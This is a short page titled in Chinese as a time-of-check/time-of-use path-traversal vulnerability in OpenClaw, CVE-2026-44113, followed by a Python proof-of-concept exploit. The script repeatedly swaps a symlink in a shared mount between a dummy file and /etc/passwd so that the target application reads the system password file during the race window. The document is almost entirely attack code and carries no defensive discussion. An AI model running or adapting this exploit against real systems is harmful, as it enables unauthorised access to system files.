CVE-2026-44113 OpenClaw TOCTOU漏洞致路径穿越

import os import time import threading # Proof of Concept for CVE-2026-44113 # This script simulates the symlink swap attack. TARGET_FILE = "/etc/passwd" SAFE_FILE = "/tmp/safe_dummy_file.txt" SYMLINK_PATH = "/shared/mount/exploit_link" def create_safe_file(): with open(SAFE_FILE, 'w') as f: f.write("Safe content") def setup_symlink(): if os.path.exists(SYMLINK_PATH): os.remove(SYMLINK_PATH) os.symlink(SAFE_FILE, SYMLINK_PATH) def race_condition_exploit(): print("[*] Starting race condition exploit...") attempts = 0 while attempts < 1000: try: # 1. Point to safe file (Check phase) os.remove(SYMLINK_PATH) os.symlink(SAFE_FILE, SYMLINK_PATH) # 2. Simulate tiny delay or trigger application check here # time.sleep(0.0001) # 3. Swap to target file (Use phase) os.remove(SYMLINK_PATH) os.symlink(TARGET_FILE, SYMLINK_PATH) # If the application reads now, it reads /etc/passwd attempts += 1 except Exception as e: print(f"Error: {e}") break print("[*] Exploit attempts finished.") if __name__ == "__main__": create_safe_file() setup_symlink() race_condition_exploit()